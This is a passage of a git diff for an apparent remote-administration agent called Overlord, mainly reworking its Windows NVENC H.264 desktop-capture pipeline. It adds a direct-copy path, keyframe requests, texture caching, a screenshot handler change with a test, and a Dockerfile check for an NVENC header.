diff --git a/Dockerfile b/Dockerfile index 4e33863..e5dde26 100644 --- a/Dockerfile +++ b/Dockerfile @@ -166,6 +166,7 @@ COPY --from=builder /app/dist-clients ./dist-clients # Go agent source needed at every agent build. COPY Overlord-Client/ ./Overlord-Client/ +RUN test -s ./Overlord-Client/third_party/nvcodec/nvEncodeAPI.h RUN mkdir -p certs data diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 8246566..44fd327 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -493,6 +493,7 @@ var ( statKeepaliveFrames atomic.Int64 statBlockRegions atomic.Int64 statBlockFallbacks atomic.Int64 + statFrameSlotSkips atomic.Int64 overrideQuality atomic.Int64 overrideCodec atomic.Value @@ -700,6 +701,7 @@ func resetStats() { statKeepaliveFrames.Store(0) statBlockRegions.Store(0) statBlockFallbacks.Store(0) + statFrameSlotSkips.Store(0) } func avgMs(ns int64, frames int64) float64 { diff --git a/Overlord-Client/cmd/agent/capture/flowcontrol.go b/Overlord-Client/cmd/agent/capture/flowcontrol.go index 0735acb..b9dd351 100644 --- a/Overlord-Client/cmd/agent/capture/flowcontrol.go +++ b/Overlord-Client/cmd/agent/capture/flowcontrol.go @@ -30,6 +30,7 @@ func AcquireFrameSlot() bool { inFlightFrames.Store(0) continue } + statFrameSlotSkips.Add(1) return false } if inFlightFrames.CompareAndSwap(cur, cur+1) { @@ -81,3 +82,13 @@ func activeFrameSlotLimit() int64 { } return defaultMaxInFlightFrames } + +func frameFlowSnapshot() (inFlight, limit int64, ackSeen bool, ackAge time.Duration) { + inFlight = inFlightFrames.Load() + limit = activeFrameSlotLimit() + ackSeen = frameAckSeen.Load() + if lastAck := lastAckNano.Load(); lastAck > 0 { + ackAge = time.Since(time.Unix(0, lastAck)) + } + return inFlight, limit, ackSeen, ackAge +} diff --git a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go index 2986f84..1c418f4 100644 --- a/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_encoder_windows.go @@ -530,6 +530,7 @@ func resetH264Encoder() { } func RequestDesktopH264Keyframe() { + requestNativeH264D3D11TextureKeyframe() resetH264Encoder() } diff --git a/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go b/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go index dbccff3..fd3d4ef 100644 --- a/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go +++ b/Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go @@ -17,4 +17,6 @@ func encodeNativeH264D3D11Texture(device, texture unsafe.Pointer, inputWidth, in return nil, fmt.Errorf("native NVENC D3D11 texture encode requires cgo for input=%dx%d output=%dx%d@%dfps", inputWidth, inputHeight, encodeWidth, encodeHeight, fps) } +func requestNativeH264D3D11TextureKeyframe() {} + func resetNativeH264D3D11TextureEncoder() {} diff --git a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go index 757e3e4..92cf887 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go @@ -414,70 +414,75 @@ static nvenc_d3d11_texture_create_result nvenc_create_d3d11_texture_encoder(ID3D return out; } - HRESULT hr = enc->device->lpVtbl->QueryInterface(enc->device, &nvenc_iid_id3d11_video_device, (void**)&enc->video_device); - if (FAILED(hr) || !enc->video_device) { - out.stage = 11; - out.hr = hr; - strncpy(out.message, "ID3D11VideoDevice unavailable for GPU BGRA->NV12 conversion", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; - } - hr = enc->context->lpVtbl->QueryInterface(enc->context, &nvenc_iid_id3d11_video_context, (void**)&enc->video_context); - if (FAILED(hr) || !enc->video_context) { - out.stage = 12; - out.hr = hr; - strncpy(out.message, "ID3D11VideoContext unavailable for GPU BGRA->NV12 conversion", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; - } - - D3D11_VIDEO_PROCESSOR_CONTENT_DESC content_desc; - memset(&content_desc, 0, sizeof(content_desc)); - content_desc.InputFrameFormat = D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE; - content_desc.InputFrameRate.Numerator = (UINT)fps; - content_desc.InputFrameRate.Denominator = 1; - content_desc.InputWidth = (UINT)input_width; - content_desc.InputHeight = (UINT)input_height; - content_desc.OutputFrameRate.Numerator = (UINT)fps; - content_desc.OutputFrameRate.Denominator = 1; - content_desc.OutputWidth = (UINT)encode_width; - content_desc.OutputHeight = (UINT)encode_height; - content_desc.Usage = D3D11_VIDEO_USAGE_OPTIMAL_SPEED; - hr = enc->video_device->lpVtbl->CreateVideoProcessorEnumerator(enc->video_device, &content_desc, &enc->video_enum); - if (FAILED(hr) || !enc->video_enum) { - out.stage = 13; - out.hr = hr; - strncpy(out.message, "CreateVideoProcessorEnumerator failed for GPU BGRA->NV12 conversion", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; - } - UINT format_flags = 0; - hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, (DXGI_FORMAT)dxgi_format, &format_flags); - if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_INPUT)) { - out.stage = 14; - out.hr = FAILED(hr) ? hr : E_FAIL; - strncpy(out.message, "desktop DXGI format is not supported as D3D11 video processor input", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; - } DXGI_FORMAT output_dxgi_format = output_mode == 1 ? (DXGI_FORMAT)dxgi_format : DXGI_FORMAT_NV12; NV_ENC_BUFFER_FORMAT output_buffer_format = output_mode == 1 ? buffer_format : NV_ENC_BUFFER_FORMAT_NV12; - format_flags = 0; - hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, output_dxgi_format, &format_flags); - if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_OUTPUT)) { - out.stage = 15; - out.hr = FAILED(hr) ? hr : E_FAIL; - strncpy(out.message, "requested D3D11 video processor output format is not supported", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; - } - hr = enc->video_device->lpVtbl->CreateVideoProcessor(enc->video_device, enc->video_enum, 0, &enc->video_processor); - if (FAILED(hr) || !enc->video_processor) { - out.stage = 16; - out.hr = hr; - strncpy(out.message, "CreateVideoProcessor failed for GPU BGRA->NV12 conversion", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; + int direct_copy = output_mode == 1 && input_width == encode_width && input_height == encode_height; + HRESULT hr = S_OK; + + if (!direct_copy) { + hr = enc->device->lpVtbl->QueryInterface(enc->device, &nvenc_iid_id3d11_video_device, (void**)&enc->video_device); + if (FAILED(hr) || !enc->video_device) { + out.stage = 11; + out.hr = hr; + strncpy(out.message, "ID3D11VideoDevice unavailable for GPU conversion/scaling", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } + hr = enc->context->lpVtbl->QueryInterface(enc->context, &nvenc_iid_id3d11_video_context, (void**)&enc->video_context); + if (FAILED(hr) || !enc->video_context) { + out.stage = 12; + out.hr = hr; + strncpy(out.message, "ID3D11VideoContext unavailable for GPU conversion/scaling", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } + + D3D11_VIDEO_PROCESSOR_CONTENT_DESC content_desc; + memset(&content_desc, 0, sizeof(content_desc)); + content_desc.InputFrameFormat = D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE; + content_desc.InputFrameRate.Numerator = (UINT)fps; + content_desc.InputFrameRate.Denominator = 1; + content_desc.InputWidth = (UINT)input_width; + content_desc.InputHeight = (UINT)input_height; + content_desc.OutputFrameRate.Numerator = (UINT)fps; + content_desc.OutputFrameRate.Denominator = 1; + content_desc.OutputWidth = (UINT)encode_width; + content_desc.OutputHeight = (UINT)encode_height; + content_desc.Usage = D3D11_VIDEO_USAGE_OPTIMAL_SPEED; + hr = enc->video_device->lpVtbl->CreateVideoProcessorEnumerator(enc->video_device, &content_desc, &enc->video_enum); + if (FAILED(hr) || !enc->video_enum) { + out.stage = 13; + out.hr = hr; + strncpy(out.message, "CreateVideoProcessorEnumerator failed for GPU conversion/scaling", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } + UINT format_flags = 0; + hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, (DXGI_FORMAT)dxgi_format, &format_flags); + if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_INPUT)) { + out.stage = 14; + out.hr = FAILED(hr) ? hr : E_FAIL; + strncpy(out.message, "desktop DXGI format is not supported as D3D11 video processor input", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } + format_flags = 0; + hr = enc->video_enum->lpVtbl->CheckVideoProcessorFormat(enc->video_enum, output_dxgi_format, &format_flags); + if (FAILED(hr) || !(format_flags & D3D11_VIDEO_PROCESSOR_FORMAT_SUPPORT_OUTPUT)) { + out.stage = 15; + out.hr = FAILED(hr) ? hr : E_FAIL; + strncpy(out.message, "requested D3D11 video processor output format is not supported", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } + hr = enc->video_device->lpVtbl->CreateVideoProcessor(enc->video_device, enc->video_enum, 0, &enc->video_processor); + if (FAILED(hr) || !enc->video_processor) { + out.stage = 16; + out.hr = hr; + strncpy(out.message, "CreateVideoProcessor failed for GPU conversion/scaling", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } } D3D11_TEXTURE2D_DESC source_desc; @@ -514,37 +519,41 @@ static nvenc_d3d11_texture_create_result nvenc_create_d3d11_texture_encoder(ID3D output_view_desc.Texture2D.MipSlice = 0; for (int i = 0; i < NVENC_D3D11_TEXTURE_PIPELINE_DEPTH; i++) { nvenc_d3d11_texture_slot *slot = &enc->slots[i]; - hr = enc->device->lpVtbl->CreateTexture2D(enc->device, &source_desc, NULL, &slot->source_texture); - if (FAILED(hr) || !slot->source_texture) { - out.stage = 17; - out.hr = hr; - strncpy(out.message, "CreateTexture2D desktop video-processor input failed", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; + if (!direct_copy) { + hr = enc->device->lpVtbl->CreateTexture2D(enc->device, &source_desc, NULL, &slot->source_texture); + if (FAILED(hr) || !slot->source_texture) { + out.stage = 17; + out.hr = hr; + strncpy(out.message, "CreateTexture2D desktop video-processor input failed", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } } hr = enc->device->lpVtbl->CreateTexture2D(enc->device, &tex_desc, NULL, &slot->input_texture); if (FAILED(hr) || !slot->input_texture) { out.stage = 18; out.hr = hr; - strncpy(out.message, "CreateTexture2D video-processor output failed", sizeof(out.message)-1); + strncpy(out.message, direct_copy ? "CreateTexture2D direct NVENC input failed" : "CreateTexture2D video-processor output failed", sizeof(out.message)-1); nvenc_release_texture_encoder(enc); return out; } - hr = enc->video_device->lpVtbl->CreateVideoProcessorInputView(enc->video_device, (ID3D11Resource*)slot->source_texture, enc->video_enum, &input_view_desc, &slot->video_input_view); - if (FAILED(hr) || !slot->video_input_view) { - out.stage = 19; - out.hr = hr; - strncpy(out.message, "CreateVideoProcessorInputView failed", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; - } - hr = enc->video_device->lpVtbl->CreateVideoProcessorOutputView(enc->video_device, (ID3D11Resource*)slot->input_texture, enc->video_enum, &output_view_desc, &slot->video_output_view); - if (FAILED(hr) || !slot->video_output_view) { - out.stage = 20; - out.hr = hr; - strncpy(out.message, "CreateVideoProcessorOutputView failed", sizeof(out.message)-1); - nvenc_release_texture_encoder(enc); - return out; + if (!direct_copy) { + hr = enc->video_device->lpVtbl->CreateVideoProcessorInputView(enc->video_device, (ID3D11Resource*)slot->source_texture, enc->video_enum, &input_view_desc, &slot->video_input_view); + if (FAILED(hr) || !slot->video_input_view) { + out.stage = 19; + out.hr = hr; + strncpy(out.message, "CreateVideoProcessorInputView failed", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } + hr = enc->video_device->lpVtbl->CreateVideoProcessorOutputView(enc->video_device, (ID3D11Resource*)slot->input_texture, enc->video_enum, &output_view_desc, &slot->video_output_view); + if (FAILED(hr) || !slot->video_output_view) { + out.stage = 20; + out.hr = hr; + strncpy(out.message, "CreateVideoProcessorOutputView failed", sizeof(out.message)-1); + nvenc_release_texture_encoder(enc); + return out; + } } NV_ENC_REGISTER_RESOURCE reg; @@ -580,7 +589,7 @@ static nvenc_d3d11_texture_create_result nvenc_create_d3d11_texture_encoder(ID3D } slot->bitstream = bs.bitstreamBuffer; } - enc->use_video_processor = 1; + enc->use_video_processor = direct_copy ? 0 : 1; out.encoder = enc; return out; } @@ -866,7 +875,7 @@ static nvenc_d3d11_encode_result nvenc_encode_d3d11_texture(nvenc_d3d11_texture_ strncpy(out.message, "nil encoder or texture", sizeof(out.message)-1); return out; } - if (!enc->use_video_processor || !enc->video_context || !enc->video_processor) { + if (enc->use_video_processor && (!enc->video_context || !enc->video_processor)) { out.stage = 3; out.nvstatus = NV_ENC_ERR_INVALID_PTR; strncpy(out.message, "GPU BGRA->NV12 video processor is missing", sizeof(out.message)-1); @@ -925,48 +934,56 @@ static nvenc_d3d11_encode_result nvenc_encode_d3d11_texture(nvenc_d3d11_texture_ return out; } } - if (slot->in_flight || !slot->source_texture || !slot->input_texture || !slot->video_input_view || !slot->video_output_view || !slot->registered_resource || !slot->bitstream) { + if (slot->in_flight || !slot->input_texture || !slot->registered_resource || !slot->bitstream) { out.stage = 2; out.nvstatus = NV_ENC_ERR_INVALID_PTR; strncpy(out.message, "pipeline slot is not ready for encode", sizeof(out.message)-1); return out; } + if (enc->use_video_processor && (!slot->source_texture || !slot->video_input_view || !slot->video_output_view)) { + out.stage = 2; + out.nvstatus = NV_ENC_ERR_INVALID_PTR; + strncpy(out.message, "video-processor pipeline slot is not ready for encode", sizeof(out.message)-1); + return out; + } QueryPerformanceCounter(&t0); - enc->context->lpVtbl->CopyResource(enc->context, (ID3D11Resource*)slot->source_texture, (ID3D11Resource*)texture); + enc->context->lpVtbl->CopyResource(enc->context, enc->use_video_processor ? (ID3D11Resource*)slot->source_texture : (ID3D11Resource*)slot->input_texture, (ID3D11Resource*)texture); QueryPerformanceCounter(&t1); out.copy_ms = nvenc_qpc_ms(t0, t1, qpc_freq); - RECT src_rect; - src_rect.left = 0; - src_rect.top = 0; - src_rect.right = enc->input_width; - src_rect.bottom = enc->input_height; - RECT dst_rect; - dst_rect.left = 0; - dst_rect.top = 0; - dst_rect.right = enc->encode_width; - dst_rect.bottom = enc->encode_height; - enc->video_context->lpVtbl->VideoProcessorSetStreamFrameFormat(enc->video_context, enc->video_processor, 0, D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE); - nvenc_set_video_processor_color_space(enc); - enc->video_context->lpVtbl->VideoProcessorSetStreamSourceRect(enc->video_context, enc->video_processor, 0, TRUE, &src_rect); - enc->video_context->lpVtbl->VideoProcessorSetStreamDestRect(enc->video_context, enc->video_processor, 0, TRUE, &dst_rect); - enc->video_context->lpVtbl->VideoProcessorSetOutputTargetRect(enc->video_context, enc->video_processor, TRUE, &dst_rect); - enc->video_context->lpVtbl->VideoProcessorSetStreamAutoProcessingMode(enc->video_context, enc->video_processor, 0, FALSE); - D3D11_VIDEO_PROCESSOR_STREAM stream; - memset(&stream, 0, sizeof(stream)); - stream.Enable = TRUE; - stream.OutputIndex = 0; - stream.InputFrameOrField = 0; - stream.pInputSurface = slot->video_input_view; - QueryPerformanceCounter(&t0); - HRESULT hr = enc->video_context->lpVtbl->VideoProcessorBlt(enc->video_context, enc->video_processor, slot->video_output_view, enc->frame, 1, &stream); - QueryPerformanceCounter(&t1); - out.blt_ms = nvenc_qpc_ms(t0, t1, qpc_freq); - if (FAILED(hr)) { - out.stage = 4; - out.nvstatus = NV_ENC_ERR_GENERIC; - snprintf(out.message, sizeof(out.message), "VideoProcessorBlt BGRA->NV12 failed hr=0x%08lx", (unsigned long)hr); - return out; + if (enc->use_video_processor) { + RECT src_rect; + src_rect.left = 0; + src_rect.top = 0; + src_rect.right = enc->input_width; + src_rect.bottom = enc->input_height; + RECT dst_rect; + dst_rect.left = 0; + dst_rect.top = 0; + dst_rect.right = enc->encode_width; + dst_rect.bottom = enc->encode_height; + enc->video_context->lpVtbl->VideoProcessorSetStreamFrameFormat(enc->video_context, enc->video_processor, 0, D3D11_VIDEO_FRAME_FORMAT_PROGRESSIVE); + nvenc_set_video_processor_color_space(enc); + enc->video_context->lpVtbl->VideoProcessorSetStreamSourceRect(enc->video_context, enc->video_processor, 0, TRUE, &src_rect); + enc->video_context->lpVtbl->VideoProcessorSetStreamDestRect(enc->video_context, enc->video_processor, 0, TRUE, &dst_rect); + enc->video_context->lpVtbl->VideoProcessorSetOutputTargetRect(enc->video_context, enc->video_processor, TRUE, &dst_rect); + enc->video_context->lpVtbl->VideoProcessorSetStreamAutoProcessingMode(enc->video_context, enc->video_processor, 0, FALSE); + D3D11_VIDEO_PROCESSOR_STREAM stream; + memset(&stream, 0, sizeof(stream)); + stream.Enable = TRUE; + stream.OutputIndex = 0; + stream.InputFrameOrField = 0; + stream.pInputSurface = slot->video_input_view; + QueryPerformanceCounter(&t0); + HRESULT hr = enc->video_context->lpVtbl->VideoProcessorBlt(enc->video_context, enc->video_processor, slot->video_output_view, enc->frame, 1, &stream); + QueryPerformanceCounter(&t1); + out.blt_ms = nvenc_qpc_ms(t0, t1, qpc_freq); + if (FAILED(hr)) { + out.stage = 4; + out.nvstatus = NV_ENC_ERR_GENERIC; + snprintf(out.message, sizeof(out.message), "VideoProcessorBlt failed hr=0x%08lx", (unsigned long)hr); + return out; + } } NV_ENC_MAP_INPUT_RESOURCE map; @@ -1444,6 +1461,7 @@ import ( "os" "strings" "sync" + "sync/atomic" "unsafe" ) @@ -1668,6 +1686,10 @@ func newNativeD3D11TextureH264Encoder(device unsafe.Pointer, inputWidth, inputHe } return nil, fmt.Errorf("NVENC D3D11 texture encoder create failed") } + pipeline := "d3d11_video_processor" + if outputMode == 1 && inputWidth == encodeWidth && inputHeight == encodeHeight { + pipeline = "d3d11_direct_copy" + } enc := &nativeD3D11TextureH264Encoder{ enc: raw.encoder, device: device, @@ -1682,9 +1704,9 @@ func newNativeD3D11TextureH264Encoder(device unsafe.Pointer, inputWidth, inputHe outputName: outputName, } if inputWidth != encodeWidth || inputHeight != encodeHeight { - log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC input=%dx%d output=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s gpu_scale=d3d11_video_processor bitrate=%d", inputWidth, inputHeight, encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, bitrate) + log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC input=%dx%d output=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s pipeline=%s bitrate=%d", inputWidth, inputHeight, encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, pipeline, bitrate) } else { - log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC size=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s gpu_scale=d3d11_video_processor bitrate=%d", encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, bitrate) + log.Printf("capture: native NVENC D3D11 desktop texture encoder active provider=NVIDIA NVENC size=%dx%d fps=%d source_format=%s(dxgi=%d) nvenc_input=%s pipeline=%s bitrate=%d", encodeWidth, encodeHeight, fps, name, dxgiFormat, outputName, pipeline, bitrate) } return enc, nil } @@ -1782,7 +1804,7 @@ func preferredNVENCD3D11OutputModes() []int { case "bgra", "argb": return []int{1} default: - return []int{0, 1} + return []int{1, 0} } } @@ -1812,8 +1834,9 @@ func envBool(name string) bool { } var ( - nativeTextureH264Mu sync.Mutex - nativeTextureH264Enc *nativeD3D11TextureH264Encoder + nativeTextureH264Mu sync.Mutex + nativeTextureH264Enc *nativeD3D11TextureH264Encoder + nativeTextureH264ForceIDR atomic.Bool ) func encodeNativeH264D3D11Texture(device, texture unsafe.Pointer, inputWidth, inputHeight, encodeWidth, encodeHeight, fps int, dxgiFormat uint32, forceIDR bool) ([]byte, error) { @@ -1834,7 +1857,11 @@ func encodeNativeH264D3D11Texture(device, texture unsafe.Pointer, inputWidth, in } nativeTextureH264Enc = enc } - return nativeTextureH264Enc.EncodeTexture(texture, forceIDR) + return nativeTextureH264Enc.EncodeTexture(texture, forceIDR || nativeTextureH264ForceIDR.Swap(false)) +} + +func requestNativeH264D3D11TextureKeyframe() { + nativeTextureH264ForceIDR.Store(true) } func resetNativeH264D3D11TextureEncoder() { @@ -1844,4 +1871,5 @@ func resetNativeH264D3D11TextureEncoder() { nativeTextureH264Enc.Close() nativeTextureH264Enc = nil } + nativeTextureH264ForceIDR.Store(false) } diff --git a/Overlord-Client/cmd/agent/capture/win_duplication.go b/Overlord-Client/cmd/agent/capture/win_duplication.go index ebd1c90..2395531 100644 --- a/Overlord-Client/cmd/agent/capture/win_duplication.go +++ b/Overlord-Client/cmd/agent/capture/win_duplication.go @@ -617,6 +617,8 @@ type duplicationState struct { context *d3d11DeviceContext staging *d3d11Texture2D stagingDesc d3d11Texture2DDesc + h264LastTex *d3d11Texture2D + h264LastDesc d3d11Texture2DDesc desc dxgiOutDuplDesc lastBase *image.RGBA lastFrame *image.RGBA @@ -658,6 +660,11 @@ func (s *duplicationState) closeLocked() { s.staging.Release() s.staging = nil } + if s.h264LastTex != nil { + s.h264LastTex.Release() + s.h264LastTex = nil + s.h264LastDesc = d3d11Texture2DDesc{} + } resetNativeH264D3D11TextureEncoder() if s.context != nil { s.context.Release() @@ -888,6 +895,23 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, var resource *iunknown hr := s.dup.AcquireNextFrame(5, &info, &resource) if hr == dxgiErrorWaitTimeout { + if s.h264LastTex != nil { + captureDur := time.Since(capStart) + fps := activeH264FPS() + encStart := time.Now() + out, err := encodeNativeH264D3D11Texture(unsafe.Pointer(s.device), unsafe.Pointer(s.h264LastTex), width, height, encodeW, encodeH, fps, s.h264LastDesc.Format, forceKeyframe) + encodeDur := time.Since(encStart) + if err != nil { + directH264WarnOnce.Do(func() { + log.Printf("capture: direct DXGI->NVENC h264 cached-frame encode failed for %dx%d@%dfps format=%d: %v; using readback path", width, height, fps, s.h264LastDesc.Format, err) + }) + return nil, 0, 0, 0, 0, false, err + } + if len(out) == 0 { + return nil, encodeW, encodeH, captureDur, encodeDur, true, nil + } + return out, encodeW, encodeH, captureDur, encodeDur, true, nil + } return nil, encodeW, encodeH, time.Since(capStart), 0, true, nil } if hr == dxgiErrorAccessLost { @@ -907,7 +931,12 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, if resource == nil { return nil, 0, 0, 0, 0, false, errors.New("dxgi: acquired nil resource") } - defer s.dup.ReleaseFrame() + frameReleased := false + defer func() { + if !frameReleased { + _ = s.dup.ReleaseFrame() + } + }() var tex *d3d11Texture2D hr = resource.QueryInterface(&IID_ID3D11Texture2D, unsafe.Pointer(&tex)) @@ -930,15 +959,24 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, }) return nil, 0, 0, 0, 0, false, fmt.Errorf("direct h264 unsupported DXGI texture format %d", srcDesc.Format) } + if err := s.cacheH264TextureLocked(tex, srcDesc); err != nil { + directH264WarnOnce.Do(func() { + log.Printf("capture: direct DXGI->NVENC h264 cache setup failed for %dx%d format=%d: %v; using readback path", width, height, srcDesc.Format, err) + }) + return nil, 0, 0, 0, 0, false, err + } captureDur := time.Since(capStart) + _ = s.dup.ReleaseFrame() + frameReleased = true + fps := activeH264FPS() encStart := time.Now() - out, err := encodeNativeH264D3D11Texture(unsafe.Pointer(s.device), unsafe.Pointer(tex), width, height, encodeW, encodeH, fps, srcDesc.Format, forceKeyframe) + out, err := encodeNativeH264D3D11Texture(unsafe.Pointer(s.device), unsafe.Pointer(s.h264LastTex), width, height, encodeW, encodeH, fps, s.h264LastDesc.Format, forceKeyframe) encodeDur := time.Since(encStart) if err != nil { directH264WarnOnce.Do(func() { - log.Printf("capture: direct DXGI->NVENC h264 failed for %dx%d@%dfps format=%d: %v; using readback path", width, height, fps, srcDesc.Format, err) + log.Printf("capture: direct DXGI->NVENC h264 failed for %dx%d@%dfps format=%d: %v; using readback path", width, height, fps, s.h264LastDesc.Format, err) }) return nil, 0, 0, 0, 0, false, err } @@ -951,6 +989,40 @@ func (s *duplicationState) captureH264(display int, forceKeyframe bool) ([]byte, return out, encodeW, encodeH, captureDur, encodeDur, true, nil } +func (s *duplicationState) cacheH264TextureLocked(src *d3d11Texture2D, srcDesc d3d11Texture2DDesc) error { + if src == nil || s.device == nil || s.context == nil { + return errors.New("nil D3D11 source/device/context") + } + recreate := s.h264LastTex == nil || + s.h264LastDesc.Width != srcDesc.Width || + s.h264LastDesc.Height != srcDesc.Height || + s.h264LastDesc.Format != srcDesc.Format + if recreate { + if s.h264LastTex != nil { + s.h264LastTex.Release() + s.h264LastTex = nil + } + cacheDesc := srcDesc + cacheDesc.MipLevels = 1 + cacheDesc.ArraySize = 1 + cacheDesc.SampleDesc.Count = 1 + cacheDesc.SampleDesc.Quality = 0 + cacheDesc.Usage = 0 // D3D11_USAGE_DEFAULT + cacheDesc.BindFlags = 0 + cacheDesc.CPUAccessFlags = 0 + cacheDesc.MiscFlags = 0 + var tex *d3d11Texture2D + hr := s.device.CreateTexture2D(&cacheDesc, nil, &tex) + if hr != S_OK || tex == nil { + return fmt.Errorf("CreateTexture2D h264 cache failed 0x%x", hr) + } + s.h264LastTex = tex + s.h264LastDesc = cacheDesc + } + s.context.CopyResource(s.h264LastTex, src) + return nil +} + func (s *duplicationState) composeFrame(base *image.RGBA, nativeW, nativeH int) *image.RGBA { if base == nil { return nil diff --git a/Overlord-Client/cmd/agent/handlers/screenshot.go b/Overlord-Client/cmd/agent/handlers/screenshot.go index 05c8c40..9f050d5 100644 --- a/Overlord-Client/cmd/agent/handlers/screenshot.go +++ b/Overlord-Client/cmd/agent/handlers/screenshot.go @@ -46,7 +46,7 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay } }() - img, displayIndex, bounds, err := captureScreenshotImage(allDisplays) + img, _, bounds, err := captureScreenshotImage(allDisplays) if err != nil { log.Printf("screenshot: capture failed: %v", err) return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ @@ -86,20 +86,7 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay return err } - frame := wire.Frame{ - Type: "frame", - Header: wire.FrameHeader{ - Monitor: displayIndex, - FPS: 0, - Format: "jpeg", - }, - Data: jpegData, - } - - if err := wire.WriteMsg(ctx, env.Conn, frame); err != nil { - log.Printf("screenshot: failed to send frame: %v", err) - return err - } + capture.RequestDesktopH264Keyframe() return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ Type: "command_result", diff --git a/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go b/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go index ecedcf8..b76d4f1 100644 --- a/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go +++ b/Overlord-Client/cmd/agent/handlers/screenshot_windows_test.go @@ -3,9 +3,15 @@ package handlers import ( + "context" "image" "image/color" "testing" + + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "github.com/vmihailenco/msgpack/v5" ) func TestCaptureScreenshotImageWindows_PrimaryOnly(t *testing.T) { @@ -105,3 +111,44 @@ func TestCaptureScreenshotImageWindows_NoDisplays(t *testing.T) { t.Fatal("expected nil image on error") } } + +func TestHandleScreenshot_DoesNotEmitLiveFrame(t *testing.T) { + origMonitorCountFn := monitorCountFn + origCaptureFn := captureDisplayRGBABitBltFn + t.Cleanup(func() { + monitorCountFn = origMonitorCountFn + captureDisplayRGBABitBltFn = origCaptureFn + }) + + monitorCountFn = func() int { return 1 } + captureDisplayRGBABitBltFn = func(display int) (*image.RGBA, error) { + img := image.NewRGBA(image.Rect(0, 0, 2, 2)) + img.SetRGBA(0, 0, color.RGBA{B: 255, A: 255}) + return img, nil + } + + ctx := context.Background() + writer := &testWriter{} + if err := HandleScreenshot(ctx, &rt.Env{Conn: writer}, "cmd-1", false); err != nil { + t.Fatalf("HandleScreenshot failed: %v", err) + } + if len(writer.msgs) != 2 { + t.Fatalf("expected 2 messages without live frame emission, got %d", len(writer.msgs)) + } + + var first wire.ScreenshotResult + if err := msgpack.Unmarshal(writer.msgs[0], &first); err != nil { + t.Fatalf("unmarshal screenshot_result: %v", err) + } + if first.Type != "screenshot_result" { + t.Fatalf("expected screenshot_result, got %q", first.Type) + } + + var second wire.CommandResult + if err := msgpack.Unmarshal(writer.msgs[1], &second); err != nil { + t.Fatalf("unmarshal command_result: %v", err) + } + if second.Type != "command_result" || !second.OK { + t.Fatalf("expected successful command_result, got %+v", second) + } +} diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 0898064..562e6f6 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -393,6 +393,28 @@ function detectAgentVersion(clientDir: string): string { } } +function nvcodecHeaderPath(clientDir: string): string { + return path.join(clientDir, "third_party", "nvcodec", "nvEncodeAPI.h"); +} + +function 